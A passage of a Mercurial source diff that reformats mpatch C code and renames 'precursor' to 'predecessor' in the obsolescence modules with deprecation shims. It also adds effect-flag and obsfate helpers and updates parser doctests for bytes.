 			/* save this hunk */
 			offset += s->start + s->len - s->end;
 			*d++ = *s++;
-		}
-		else {
+		} else {
 			/* break up this hunk */
 			c = cut - offset;
 			if (s->end < c)
@@ -121,8 +121,7 @@
 		if (postend <= cut) {
 			offset += s->start + s->len - s->end;
 			s++;
-		}
-		else {
+		} else {
 			c = cut - offset;
 			if (s->end < c)
 				c = s->end;
@@ -146,7 +145,7 @@
 /* combine hunk lists a and b, while adjusting b for offset changes in a/
    this deletes a and b and returns the resultant list. */
 static struct mpatch_flist *combine(struct mpatch_flist *a,
-	struct mpatch_flist *b)
+                                    struct mpatch_flist *b)
 {
 	struct mpatch_flist *c = NULL;
 	struct mpatch_frag *bh, *ct;
@@ -240,7 +239,7 @@
 }
 
 int mpatch_apply(char *buf, const char *orig, ssize_t len,
-	struct mpatch_flist *l)
+                 struct mpatch_flist *l)
 {
 	struct mpatch_frag *f = l->head;
 	int last = 0;
@@ -262,9 +261,9 @@
 }
 
 /* recursively generate a patch of all bins between start and end */
-struct mpatch_flist *mpatch_fold(void *bins,
-	struct mpatch_flist* (*get_next_item)(void*, ssize_t),
-	ssize_t start, ssize_t end)
+struct mpatch_flist *
+mpatch_fold(void *bins, struct mpatch_flist *(*get_next_item)(void *, ssize_t),
+            ssize_t start, ssize_t end)
 {
 	ssize_t len;
 
@@ -276,5 +275,5 @@
 	/* divide and conquer, memory management is elsewhere */
 	len = (end - start) / 2;
 	return combine(mpatch_fold(bins, get_next_item, start, start + len),
-		       mpatch_fold(bins, get_next_item, start + len, end));
+	               mpatch_fold(bins, get_next_item, start + len, end));
 }
diff --git a/mercurial/mpatch.h b/mercurial/mpatch.h
--- a/mercurial/mpatch.h
+++ b/mercurial/mpatch.h
@@ -14,13 +14,13 @@
 	struct mpatch_frag *base, *head, *tail;
 };
 
-int mpatch_decode(const char *bin, ssize_t len, struct mpatch_flist** res);
+int mpatch_decode(const char *bin, ssize_t len, struct mpatch_flist **res);
 ssize_t mpatch_calcsize(ssize_t len, struct mpatch_flist *l);
 void mpatch_lfree(struct mpatch_flist *a);
 int mpatch_apply(char *buf, const char *orig, ssize_t len,
-	struct mpatch_flist *l);
-struct mpatch_flist *mpatch_fold(void *bins,
-	struct mpatch_flist* (*get_next_item)(void*, ssize_t),
-	ssize_t start, ssize_t end);
+                 struct mpatch_flist *l);
+struct mpatch_flist *
+mpatch_fold(void *bins, struct mpatch_flist *(*get_next_item)(void *, ssize_t),
+            ssize_t start, ssize_t end);
 
 #endif
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -20,12 +20,12 @@
 besides old and news changeset identifiers, such as creation date or
 author name.
 
-The old obsoleted changeset is called a "precursor" and possible
+The old obsoleted changeset is called a "predecessor" and possible
 replacements are called "successors". Markers that used changeset X as
-a precursor are called "successor markers of X" because they hold
+a predecessor are called "successor markers of X" because they hold
 information about the successors of X. Markers that use changeset Y as
-a successors are call "precursor markers of Y" because they hold
-information about the precursors of Y.
+a successors are call "predecessor markers of Y" because they hold
+information about the predecessors of Y.
 
 Examples:
 
@@ -98,26 +98,54 @@
 allowunstableopt = 'allowunstable'
 exchangeopt = 'exchange'
 
+def _getoptionvalue(repo, option):
+    """Returns True if the given repository has the given obsolete option
+    enabled.
+    """
+    configkey = 'evolution.%s' % option
+    newconfig = repo.ui.configbool('experimental', configkey)
+
+    # Return the value only if defined
+    if newconfig is not None:
+        return newconfig
+
+    # Fallback on generic option
+    try:
+        return repo.ui.configbool('experimental', 'evolution')
+    except (error.ConfigError, AttributeError):
+        # Fallback on old-fashion config
+        # inconsistent config: experimental.evolution
+        result = set(repo.ui.configlist('experimental', 'evolution'))
+
+        if 'all' in result:
+            return True
+
+        # For migration purposes, temporarily return true if the config hasn't
+        # been set but _enabled is true.
+        if len(result) == 0 and _enabled:
+            return True
+
+        # Temporary hack for next check
+        newconfig = repo.ui.config('experimental', 'evolution.createmarkers')
+        if newconfig:
+            result.add('createmarkers')
+
+        return option in result
+
 def isenabled(repo, option):
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
-    result = set(repo.ui.configlist('experimental', 'evolution'))
-    if 'all' in result:
-        return True
-
-    # For migration purposes, temporarily return true if the config hasn't been
-    # set but _enabled is true.
-    if len(result) == 0 and _enabled:
-        return True
+    createmarkersvalue = _getoptionvalue(repo, createmarkersopt)
+    unstabluevalue = _getoptionvalue(repo, allowunstableopt)
+    exchangevalue = _getoptionvalue(repo, exchangeopt)
 
     # createmarkers must be enabled if other options are enabled
-    if ((allowunstableopt in result or exchangeopt in result) and
-        not createmarkersopt in result):
+    if ((unstabluevalue or exchangevalue) and not createmarkersvalue):
         raise error.Abort(_("'createmarkers' obsolete option must be enabled "
-                           "if other obsolete options are enabled"))
+                            "if other obsolete options are enabled"))
 
-    return option in result
+    return _getoptionvalue(repo, option)
 
 ### obsolescence marker flag
 
@@ -294,11 +322,11 @@
 #
 # - uint8: number of metadata entries M
 #
-# - 20 or 32 bytes: precursor changeset identifier.
+# - 20 or 32 bytes: predecessor changeset identifier.
 #
 # - N*(20 or 32) bytes: successors changesets identifiers.
 #
-# - P*(20 or 32) bytes: parents of the precursors changesets.
+# - P*(20 or 32) bytes: parents of the predecessors changesets.
 #
 # - M*(uint8, uint8): size of all metadata entries (key and value)
 #
@@ -314,7 +342,7 @@
 _fm1parentshift = 14
 _fm1parentmask = (_fm1parentnone << _fm1parentshift)
 _fm1metapair = 'BB'
-_fm1metapairsize = _calcsize('BB')
+_fm1metapairsize = _calcsize(_fm1metapair)
 
 def _fm1purereadmarkers(data, off, stop):
     # make some global constants local for performance
@@ -416,6 +444,14 @@
     for key, value in metadata:
         lk = len(key)
         lv = len(value)
+        if lk > 255:
+            msg = ('obsstore metadata key cannot be longer than 255 bytes'
+                   ' (key "%s" is %u bytes)') % (key, lk)
+            raise error.ProgrammingError(msg)
+        if lv > 255:
+            msg = ('obsstore metadata value cannot be longer than 255 bytes'
+                   ' (value "%s" for key "%s" is %u bytes)') % (value, key, lv)
+            raise error.ProgrammingError(msg)
         data.append(lk)
         data.append(lv)
         totalsize += lk + lv
@@ -470,11 +506,18 @@
     for mark in markers:
         successors.setdefault(mark[0], set()).add(mark)
 
+def _addprecursors(*args, **kwargs):
+    msg = ("'obsolete._addprecursors' is deprecated, "
+           "use 'obsolete._addpredecessors'")
+    util.nouideprecwarn(msg, '4.4')
+
+    return _addpredecessors(*args, **kwargs)
+
 @util.nogc
-def _addprecursors(precursors, markers):
+def _addpredecessors(predecessors, markers):
     for mark in markers:
         for suc in mark[1]:
-            precursors.setdefault(suc, set()).add(mark)
+            predecessors.setdefault(suc, set()).add(mark)
 
 @util.nogc
 def _addchildren(children, markers):
@@ -499,18 +542,18 @@
     """Store obsolete markers
 
     Markers can be accessed with two mappings:
-    - precursors[x] -> set(markers on precursors edges of x)
+    - predecessors[x] -> set(markers on predecessors edges of x)
     - successors[x] -> set(markers on successors edges of x)
-    - children[x]   -> set(markers on precursors edges of children(x)
+    - children[x]   -> set(markers on predecessors edges of children(x)
     """
 
     fields = ('prec', 'succs', 'flag', 'meta', 'date', 'parents')
-    # prec:    nodeid, precursor changesets
+    # prec:    nodeid, predecessors changesets
     # succs:   tuple of nodeid, successor changesets (0-N length)
     # flag:    integer, flag field carrying modifier for the markers (see doc)
     # meta:    binary blob, encoded metadata dictionary
     # date:    (float, int) tuple, date of marker creation
-    # parents: (tuple of nodeid) or None, parents of precursors
+    # parents: (tuple of nodeid) or None, parents of predecessors
     #          None is used when no data has been recorded
 
     def __init__(self, svfs, defaultformat=_fm1version, readonly=False):
@@ -535,7 +578,6 @@
                     raise
                 # just build an empty _all list if no obsstore exists, which
                 # avoids further stat() syscalls
-                pass
         return bool(self._all)
 
     __bool__ = __nonzero__
@@ -583,7 +625,7 @@
 
         metadata = tuple(sorted(metadata.iteritems()))
 
-        marker = (str(prec), tuple(succs), int(flag), metadata, date, parents)
+        marker = (bytes(prec), tuple(succs), int(flag), metadata, date, parents)
         return bool(self.add(transaction, [marker]))
 
     def add(self, transaction, markers):
@@ -658,11 +700,19 @@
         _addsuccessors(successors, self._all)
         return successors
 
-    @propertycache
+    @property
     def precursors(self):
-        precursors = {}
-        _addprecursors(precursors, self._all)
-        return precursors
+        msg = ("'obsstore.precursors' is deprecated, "
+               "use 'obsstore.predecessors'")
+        util.nouideprecwarn(msg, '4.4')
+
+        return self.predecessors
+
+    @propertycache
+    def predecessors(self):
+        predecessors = {}
+        _addpredecessors(predecessors, self._all)
+        return predecessors
 
     @propertycache
     def children(self):
@@ -679,8 +729,8 @@
         self._all.extend(markers)
         if self._cached('successors'):
             _addsuccessors(self.successors, markers)
-        if self._cached('precursors'):
-            _addprecursors(self.precursors, markers)
+        if self._cached('predecessors'):
+            _addpredecessors(self.predecessors, markers)
         if self._cached('children'):
             _addchildren(self.children, markers)
         _checkinvalidmarkers(markers)
@@ -692,14 +742,15 @@
 
         - marker that use this changeset as successor
         - prune marker of direct children on this changeset
-        - recursive application of the two rules on precursors of these markers
+        - recursive application of the two rules on predecessors of these
+          markers
 
         It is a set so you cannot rely on order."""
 
         pendingnodes = set(nodes)
         seenmarkers = set()
         seennodes = set(pendingnodes)
-        precursorsmarkers = self.precursors
+        precursorsmarkers = self.predecessors
         succsmarkers = self.successors
         children = self.children
         while pendingnodes:
@@ -892,6 +943,14 @@
 
 @cachefor('unstable')
 def _computeunstableset(repo):
+    msg = ("'unstable' volatile set is deprecated, "
+           "use 'orphan'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computeorphanset(repo)
+
+@cachefor('orphan')
+def _computeorphanset(repo):
     """the set of non obsolete revisions with obsolete parents"""
     pfunc = repo.changelog.parentrevs
     mutable = _mutablerevs(repo)
@@ -910,7 +969,7 @@
 @cachefor('suspended')
 def _computesuspendedset(repo):
     """the set of obsolete parents with non obsolete descendants"""
-    suspended = repo.changelog.ancestors(getrevs(repo, 'unstable'))
+    suspended = repo.changelog.ancestors(getrevs(repo, 'orphan'))
     return set(r for r in getrevs(repo, 'obsolete') if r in suspended)
 
 @cachefor('extinct')
@@ -918,9 +977,16 @@
     """the set of obsolete parents without non obsolete descendants"""
     return getrevs(repo, 'obsolete') - getrevs(repo, 'suspended')
 
-
 @cachefor('bumped')
 def _computebumpedset(repo):
+    msg = ("'bumped' volatile set is deprecated, "
+           "use 'phasedivergent'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computephasedivergentset(repo)
+
+@cachefor('phasedivergent')
+def _computephasedivergentset(repo):
     """the set of revs trying to obsolete public revisions"""
     bumped = set()
     # util function (avoid attribute lookup in the loop)
@@ -932,25 +998,33 @@
         rev = ctx.rev()
         # We only evaluate mutable, non-obsolete revision
         node = ctx.node()
-        # (future) A cache of precursors may worth if split is very common
-        for pnode in obsutil.allprecursors(repo.obsstore, [node],
+        # (future) A cache of predecessors may worth if split is very common
+        for pnode in obsutil.allpredecessors(repo.obsstore, [node],
                                    ignoreflags=bumpedfix):
             prev = torev(pnode) # unfiltered! but so is phasecache
             if (prev is not None) and (phase(repo, prev) <= public):
-                # we have a public precursor
+                # we have a public predecessor
                 bumped.add(rev)
                 break # Next draft!
     return bumped
 
 @cachefor('divergent')
 def _computedivergentset(repo):
+    msg = ("'divergent' volatile set is deprecated, "
+           "use 'contentdivergent'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computecontentdivergentset(repo)
+
+@cachefor('contentdivergent')
+def _computecontentdivergentset(repo):
     """the set of rev that compete to be the final successors of some revision.
     """
     divergent = set()
     obsstore = repo.obsstore
     newermap = {}
     for ctx in repo.set('(not public()) - obsolete()'):
-        mark = obsstore.precursors.get(ctx.node(), ())
+        mark = obsstore.predecessors.get(ctx.node(), ())
         toprocess = set(mark)
         seen = set()
         while toprocess:
@@ -964,7 +1038,7 @@
             if len(newer) > 1:
                 divergent.add(ctx.rev())
                 break
-            toprocess.update(obsstore.precursors.get(prec, ()))
+            toprocess.update(obsstore.predecessors.get(prec, ()))
     return divergent
 
 
@@ -989,11 +1063,22 @@
     if metadata is None:
         metadata = {}
     if 'user' not in metadata:
-        metadata['user'] = repo.ui.username()
+        develuser = repo.ui.config('devel', 'user.obsmarker')
+        if develuser:
+            metadata['user'] = develuser
+        else:
+            metadata['user'] = repo.ui.username()
+
+    # Operation metadata handling
     useoperation = repo.ui.configbool('experimental',
         'evolution.track-operation')
     if useoperation and operation:
         metadata['operation'] = operation
+
+    # Effect flag metadata handling
+    saveeffectflag = repo.ui.configbool('experimental',
+                                        'evolution.effect-flags')
+
     tr = repo.transaction('add-obsolescence-marker')
     try:
         markerargs = []
@@ -1017,6 +1102,13 @@
                 raise error.Abort(_("changeset %s cannot obsolete itself")
                                   % prec)
 
+            # Effect flag can be different by relation
+            if saveeffectflag:
+                # The effect flag is saved in a versioned field name for future
+                # evolution
+                effectflag = obsutil.geteffectflag(rel)
+                localmetadata[obsutil.EFFECTFLAGFIELD] = "%d" % effectflag
+
             # Creating the marker causes the hidden cache to become invalid,
             # which causes recomputation when we ask for prec.parents() above.
             # Resulting in n^2 behavior.  So let's prepare all of the args
diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -7,8 +7,11 @@
 
 from __future__ import absolute_import
 
+import re
+
 from . import (
     phases,
+    util
 )
 
 class marker(object):
@@ -29,7 +32,13 @@
         return self._data == other._data
 
     def precnode(self):
-        """Precursor changeset node identifier"""
+        msg = ("'marker.precnode' is deprecated, "
+               "use 'marker.prednode'")
+        util.nouideprecwarn(msg, '4.4')
+        return self.prednode()
+
+    def prednode(self):
+        """Predecessor changeset node identifier"""
         return self._data[0]
 
     def succnodes(self):
@@ -37,7 +46,7 @@
         return self._data[1]
 
     def parentnodes(self):
-        """Parents of the precursors (None if not recorded)"""
+        """Parents of the predecessors (None if not recorded)"""
         return self._data[5]
 
     def metadata(self):
@@ -74,7 +83,7 @@
     considered missing.
     """
 
-    precursors = repo.obsstore.precursors
+    precursors = repo.obsstore.predecessors
     stack = [nodeid]
     seen = set(stack)
 
@@ -95,7 +104,16 @@
             else:
                 stack.append(precnodeid)
 
-def allprecursors(obsstore, nodes, ignoreflags=0):
+def allprecursors(*args, **kwargs):
+    """ (DEPRECATED)
+    """
+    msg = ("'obsutil.allprecursors' is deprecated, "
+           "use 'obsutil.allpredecessors'")
+    util.nouideprecwarn(msg, '4.4')
+
+    return allpredecessors(*args, **kwargs)
+
+def allpredecessors(obsstore, nodes, ignoreflags=0):
     """Yield node for every precursors of <nodes>.
 
     Some precursors may be unknown locally.
@@ -108,7 +126,7 @@
     while remaining:
         current = remaining.pop()
         yield current
-        for mark in obsstore.precursors.get(current, ()):
+        for mark in obsstore.predecessors.get(current, ()):
             # ignore marker flagged with specified flag
             if mark[2] & ignoreflags:
                 continue
@@ -200,7 +218,7 @@
 
     # shortcut to various useful item
     nm = unfi.changelog.nodemap
-    precursorsmarkers = unfi.obsstore.precursors
+    precursorsmarkers = unfi.obsstore.predecessors
     successormarkers = unfi.obsstore.successors
     childrenmarkers = unfi.obsstore.children
 
@@ -289,6 +307,132 @@
             foreground = set(repo.set('%ln::', known))
     return set(c.node() for c in foreground)
 
+# effectflag field
+#
+# Effect-flag is a 1-byte bit field used to store what changed between a
+# changeset and its successor(s).
+#
+# The effect flag is stored in obs-markers metadata while we iterate on the
+# information design. That's why we have the EFFECTFLAGFIELD. If we come up
+# with an incompatible design for effect flag, we can store a new design under
+# another field name so we don't break readers. We plan to extend the existing
+# obsmarkers bit-field when the effect flag design will be stabilized.
+#
+# The effect-flag is placed behind an experimental flag
+# `effect-flags` set to off by default.
+#
+
+EFFECTFLAGFIELD = "ef1"
+
+DESCCHANGED = 1 << 0 # action changed the description
+METACHANGED = 1 << 1 # action change the meta
+DIFFCHANGED = 1 << 3 # action change diff introduced by the changeset
+PARENTCHANGED = 1 << 2 # action change the parent
+USERCHANGED = 1 << 4 # the user changed
+DATECHANGED = 1 << 5 # the date changed
+BRANCHCHANGED = 1 << 6 # the branch changed
+
+METABLACKLIST = [
+    re.compile('^branch$'),
+    re.compile('^.*-source$'),
+    re.compile('^.*_source$'),
+    re.compile('^source$'),
+]
+
+def metanotblacklisted(metaitem):
+    """ Check that the key of a meta item (extrakey, extravalue) does not
+    match at least one of the blacklist pattern
+    """
+    metakey = metaitem[0]
+
+    return not any(pattern.match(metakey) for pattern in METABLACKLIST)
+
+def _prepare_hunk(hunk):
+    """Drop all information but the username and patch"""
+    cleanhunk = []
+    for line in hunk.splitlines():
+        if line.startswith(b'# User') or not line.startswith(b'#'):
+            if line.startswith(b'@@'):
+                line = b'@@\n'
+            cleanhunk.append(line)
+    return cleanhunk
+
+def _getdifflines(iterdiff):
+    """return a cleaned up lines"""
+    lines = next(iterdiff, None)
+
+    if lines is None:
+        return lines
+
+    return _prepare_hunk(lines)
+
+def _cmpdiff(leftctx, rightctx):
+    """return True if both ctx introduce the "same diff"
+
+    This is a first and basic implementation, with many shortcoming.
+    """
+
+    # Leftctx or right ctx might be filtered, so we need to use the contexts
+    # with an unfiltered repository to safely compute the diff
+    leftunfi = leftctx._repo.unfiltered()[leftctx.rev()]
+    leftdiff = leftunfi.diff(git=1)
+    rightunfi = rightctx._repo.unfiltered()[rightctx.rev()]
+    rightdiff = rightunfi.diff(git=1)
+
+    left, right = (0, 0)
+    while None not in (left, right):
+        left = _getdifflines(leftdiff)
+        right = _getdifflines(rightdiff)
+
+        if left != right:
+            return False
+    return True
+
+def geteffectflag(relation):
+    """ From an obs-marker relation, compute what changed between the
+    predecessor and the successor.
+    """
+    effects = 0
+
+    source = relation[0]
+
+    for changectx in relation[1]:
+        # Check if description has changed
+        if changectx.description() != source.description():
+            effects |= DESCCHANGED
+
+        # Check if user has changed
+        if changectx.user() != source.user():
+            effects |= USERCHANGED
+
+        # Check if date has changed
+        if changectx.date() != source.date():
+            effects |= DATECHANGED
+
+        # Check if branch has changed
+        if changectx.branch() != source.branch():
+            effects |= BRANCHCHANGED
+
+        # Check if at least one of the parent has changed
+        if changectx.parents() != source.parents():
+            effects |= PARENTCHANGED
+
+        # Check if other meta has changed
+        changeextra = changectx.extra().items()
+        ctxmeta = filter(metanotblacklisted, changeextra)
+
+        sourceextra = source.extra().items()
+        srcmeta = filter(metanotblacklisted, sourceextra)
+
+        if ctxmeta != srcmeta:
+            effects |= METACHANGED
+
+        # Check if the diff has changed
+        if not _cmpdiff(source, changectx):
+            effects |= DIFFCHANGED
+
+    return effects
+
 def getobsoleted(repo, tr):
     """return the set of pre-existing revisions obsoleted by a transaction"""
     torev = repo.unfiltered().changelog.nodemap.get
@@ -307,10 +451,30 @@
         seenrevs.add(rev)
         if phase(repo, rev) == public:
             continue
-        if set(succsmarkers(node)).issubset(addedmarkers):
+        if set(succsmarkers(node) or []).issubset(addedmarkers):
             obsoleted.add(rev)
     return obsoleted
 
+class _succs(list):
+    """small class to represent a successors with some metadata about it"""
+
+    def __init__(self, *args, **kwargs):
+        super(_succs, self).__init__(*args, **kwargs)
+        self.markers = set()
+
+    def copy(self):
+        new = _succs(self)
+        new.markers = self.markers.copy()
+        return new
+
+    @util.propertycache
+    def _set(self):
+        # immutable
+        return set(self)
+
+    def canmerge(self, other):
+        return self._set.issubset(other._set)
+
 def successorssets(repo, initialnode, closest=False, cache=None):
     """Return set of all latest successors of initial nodes
 
@@ -429,7 +593,7 @@
             # case (2): end of walk.
             if current in repo:
                 # We have a valid successors.
-                cache[current] = [(current,)]
+                cache[current] = [_succs((current,))]
             else:
                 # Final obsolete version is unknown locally.
                 # Do not count that as a valid successors
@@ -505,13 +669,16 @@
                 succssets = []
                 for mark in sorted(succmarkers[current]):
                     # successors sets contributed by this marker
-                    markss = [[]]
+                    base = _succs()
+                    base.markers.add(mark)
+                    markss = [base]
                     for suc in mark[1]:
                         # cardinal product with previous successors
                         productresult = []
                         for prefix in markss:
                             for suffix in cache[suc]:
-                                newss = list(prefix)
+                                newss = prefix.copy()
+                                newss.markers.update(suffix.markers)
                                 for part in suffix:
                                     # do not duplicated entry in successors set
                                     # first entry wins.
@@ -523,15 +690,148 @@
                 # remove duplicated and subset
                 seen = []
                 final = []
-                candidate = sorted(((set(s), s) for s in succssets if s),
-                                   key=lambda x: len(x[1]), reverse=True)
-                for setversion, listversion in candidate:
-                    for seenset in seen:
-                        if setversion.issubset(seenset):
+                candidates = sorted((s for s in succssets if s),
+                                    key=len, reverse=True)
+                for cand in candidates:
+                    for seensuccs in seen:
+                        if cand.canmerge(seensuccs):
+                            seensuccs.markers.update(cand.markers)
                             break
                     else:
-                        final.append(listversion)
-                        seen.append(setversion)
+                        final.append(cand)
+                        seen.append(cand)
                 final.reverse() # put small successors set first
                 cache[current] = final
     return cache[initialnode]
+
+def successorsandmarkers(repo, ctx):
+    """compute the raw data needed for computing obsfate
+    Returns a list of dict, one dict per successors set
+    """
+    if not ctx.obsolete():
+        return None
+
+    ssets = successorssets(repo, ctx.node(), closest=True)
+
+    # closestsuccessors returns an empty list for pruned revisions, remap it
+    # into a list containing an empty list for future processing
+    if ssets == []:
+        ssets = [[]]
+
+    # Try to recover pruned markers
+    succsmap = repo.obsstore.successors
+    fullsuccessorsets = [] # successor set + markers
+    for sset in ssets:
+        if sset:
+            fullsuccessorsets.append(sset)
+        else:
+            # successorsset return an empty set() when ctx or one of its
+            # successors is pruned.
+            # In this case, walk the obs-markers tree again starting with ctx
+            # and find the relevant pruning obs-makers, the ones without
+            # successors.
+            # Having these markers allow us to compute some information about
+            # its fate, like who pruned this changeset and when.
+
+            # XXX we do not catch all prune markers (eg rewritten then pruned)
+            # (fix me later)
+            foundany = False
+            for mark in succsmap.get(ctx.node(), ()):
+                if not mark[1]:
+                    foundany = True
+                    sset = _succs()
+                    sset.markers.add(mark)
+                    fullsuccessorsets.append(sset)
+            if not foundany:
+                fullsuccessorsets.append(_succs())
+
+    values = []
+    for sset in fullsuccessorsets:
+        values.append({'successors': sset, 'markers': sset.markers})
+
+    return values
+
+def successorsetverb(successorset):
+    """ Return the verb summarizing the successorset
+    """
+    if not successorset:
+        verb = 'pruned'
+    elif len(successorset) == 1:
+        verb = 'rewritten'
+    else:
+        verb = 'split'
+    return verb
+
+def markersdates(markers):
+    """returns the list of dates for a list of markers
+    """
+    return [m[4] for m in markers]
+
+def markersusers(markers):
+    """ Returns a sorted list of markers users without duplicates
+    """
+    markersmeta = [dict(m[3]) for m in markers]
+    users = set(meta.get('user') for meta in markersmeta if meta.get('user'))
+
+    return sorted(users)
+
+def markersoperations(markers):
+    """ Returns a sorted list of markers operations without duplicates
+    """
+    markersmeta = [dict(m[3]) for m in markers]
+    operations = set(meta.get('operation') for meta in markersmeta
+                     if meta.get('operation'))
+
+    return sorted(operations)
+
+def obsfateprinter(successors, markers, ui):
+    """ Build a obsfate string for a single successorset using all obsfate
+    related function defined in obsutil
+    """
+    quiet = ui.quiet
+    verbose = ui.verbose
+    normal = not verbose and not quiet
+
+    line = []
+
+    # Verb
+    line.append(successorsetverb(successors))
+
+    # Operations
+    operations = markersoperations(markers)
+    if operations:
+        line.append(" using %s" % ", ".join(operations))
+
+    # Successors
+    if successors:
+        fmtsuccessors = [successors.joinfmt(succ) for succ in successors]
+        line.append(" as %s" % ", ".join(fmtsuccessors))
+
+    # Users
+    users = markersusers(markers)
+    # Filter out current user in not verbose mode to reduce amount of
+    # information
+    if not verbose:
+        currentuser = ui.username(acceptempty=True)
+        if len(users) == 1 and currentuser in users:
+            users = None
+
+    if (verbose or normal) and users:
+        line.append(" by %s" % ", ".join(users))
+
+    # Date
+    dates = markersdates(markers)
+
+    if dates and verbose:
+        min_date = min(dates)
+        max_date = max(dates)
+
+        if min_date == max_date:
+            fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+            line.append(" (at %s)" % fmtmin_date)
+        else:
+            fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+            fmtmax_date = util.datestr(max_date, '%Y-%m-%d %H:%M %1%2')
+            line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date))
+
+    return "".join(line)
diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -16,10 +16,11 @@
 # an action is a tree node name, a tree label, and an optional match
 # __call__(program) parses program into a labeled tree
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 from .i18n import _
 from . import (
+    encoding,
     error,
     util,
 )
@@ -96,15 +97,15 @@
 def splitargspec(spec):
     """Parse spec of function arguments into (poskeys, varkey, keys, optkey)
 
-    >>> splitargspec('')
+    >>> splitargspec(b'')
     ([], None, [], None)
-    >>> splitargspec('foo bar')
+    >>> splitargspec(b'foo bar')
     ([], None, ['foo', 'bar'], None)
-    >>> splitargspec('foo *bar baz **qux')
+    >>> splitargspec(b'foo *bar baz **qux')
     (['foo'], 'bar', ['baz'], 'qux')
-    >>> splitargspec('*foo')
+    >>> splitargspec(b'*foo')
     ([], 'foo', [], None)
-    >>> splitargspec('**foo')
+    >>> splitargspec(b'**foo')
     ([], None, [], 'foo')
     """
     optkey = None
@@ -193,9 +194,17 @@
         # mangle Python's exception into our format
         raise error.ParseError(str(e).lower())
 
+def _brepr(obj):
+    if isinstance(obj, bytes):
+        return b"'%s'" % util.escapestr(obj)
+    return encoding.strtolocal(repr(obj))
+
 def _prettyformat(tree, leafnodes, level, lines):
-    if not isinstance(tree, tuple) or tree[0] in leafnodes:
-        lines.append((level, str(tree)))
+    if not isinstance(tree, tuple):
+        lines.append((level, _brepr(tree)))
+    elif tree[0] in leafnodes:
+        rs = map(_brepr, tree[1:])
+        lines.append((level, '(%s %s)' % (tree[0], ' '.join(rs))))
     else:
         lines.append((level, '(%s' % tree[0]))
         for s in tree[1:]:
@@ -211,60 +220,62 @@
 def simplifyinfixops(tree, targetnodes):
     """Flatten chained infix operations to reduce usage of Python stack
 
+    >>> from . import pycompat
     >>> def f(tree):
-    ...     print prettyformat(simplifyinfixops(tree, ('or',)), ('symbol',))
-    >>> f(('or',
-    ...     ('or',
-    ...       ('symbol', '1'),
-    ...       ('symbol', '2')),
-    ...     ('symbol', '3')))
+    ...     s = prettyformat(simplifyinfixops(tree, (b'or',)), (b'symbol',))
+    ...     print(pycompat.sysstr(s))
+    >>> f((b'or',
+    ...     (b'or',
+    ...       (b'symbol', b'1'),
+    ...       (b'symbol', b'2')),
+    ...     (b'symbol', b'3')))
     (or
-      ('symbol', '1')
-      ('symbol', '2')
-      ('symbol', '3'))
-    >>> f(('func',
-    ...     ('symbol', 'p1'),
-    ...     ('or',
-    ...       ('or',
-    ...         ('func',
-    ...           ('symbol', 'sort'),
-    ...           ('list',
-    ...             ('or',
-    ...               ('or',
-    ...                 ('symbol', '1'),
-    ...                 ('symbol', '2')),
-    ...               ('symbol', '3')),
-    ...             ('negate',
-    ...               ('symbol', 'rev')))),
-    ...         ('and',
-    ...           ('symbol', '4'),
-    ...           ('group',
-    ...             ('or',
-    ...               ('or',
-    ...                 ('symbol', '5'),
-    ...                 ('symbol', '6')),
-    ...               ('symbol', '7'))))),
-    ...       ('symbol', '8'))))
+      (symbol '1')
+      (symbol '2')
+      (symbol '3'))
+    >>> f((b'func',
+    ...     (b'symbol', b'p1'),
+    ...     (b'or',
+    ...       (b'or',
+    ...         (b'func',
+    ...           (b'symbol', b'sort'),
+    ...           (b'list',
+    ...             (b'or',
+    ...               (b'or',
+    ...                 (b'symbol', b'1'),
+    ...                 (b'symbol', b'2')),
+    ...               (b'symbol', b'3')),
+    ...             (b'negate',
+    ...               (b'symbol', b'rev')))),
+    ...         (b'and',
+    ...           (b'symbol', b'4'),
+    ...           (b'group',
+    ...             (b'or',
+    ...               (b'or',
+    ...                 (b'symbol', b'5'),
+    ...                 (b'symbol', b'6')),
+    ...               (b'symbol', b'7'))))),
+    ...       (b'symbol', b'8'))))
     (func
-      ('symbol', 'p1')
+      (symbol 'p1')
       (or
         (func
-          ('symbol', 'sort')
+          (symbol 'sort')
           (list
             (or
-              ('symbol', '1')
-              ('symbol', '2')
-              ('symbol', '3'))
+              (symbol '1')
+              (symbol '2')
+              (symbol '3'))
             (negate
-              ('symbol', 'rev'))))
+              (symbol 'rev'))))
         (and
-          ('symbol', '4')
+          (symbol '4')
           (group
             (or
-              ('symbol', '5')
-              ('symbol', '6')
-              ('symbol', '7'))))
-        ('symbol', '8')))
+              (symbol '5')
+              (symbol '6')
+              (symbol '7'))))
+        (symbol '8')))
     """
     if not isinstance(tree, tuple):
         return tree
@@ -285,6 +296,86 @@
     simplified.append(op)
     return tuple(reversed(simplified))
 
+def _buildtree(template, placeholder, replstack):
+    if template == placeholder:
+        return replstack.pop()
+    if not isinstance(template, tuple):
+        return template
+    return tuple(_buildtree(x, placeholder, replstack) for x in template)
+
+def buildtree(template, placeholder, *repls):
+    """Create new tree by substituting placeholders by replacements
+
+    >>> _ = (b'symbol', b'_')
+    >>> def f(template, *repls):
+    ...     return buildtree(template, _, *repls)
+    >>> f((b'func', (b'symbol', b'only'), (b'list', _, _)),
+    ...   ('symbol', '1'), ('symbol', '2'))
+    ('func', ('symbol', 'only'), ('list', ('symbol', '1'), ('symbol', '2')))
+    >>> f((b'and', _, (b'not', _)), (b'symbol', b'1'), (b'symbol', b'2'))
+    ('and', ('symbol', '1'), ('not', ('symbol', '2')))
+    """
+    if not isinstance(placeholder, tuple):
+        raise error.ProgrammingError('placeholder must be a node tuple')
+    replstack = list(reversed(repls))
+    r = _buildtree(template, placeholder, replstack)
+    if replstack:
+        raise error.ProgrammingError('too many replacements')
+    return r
+
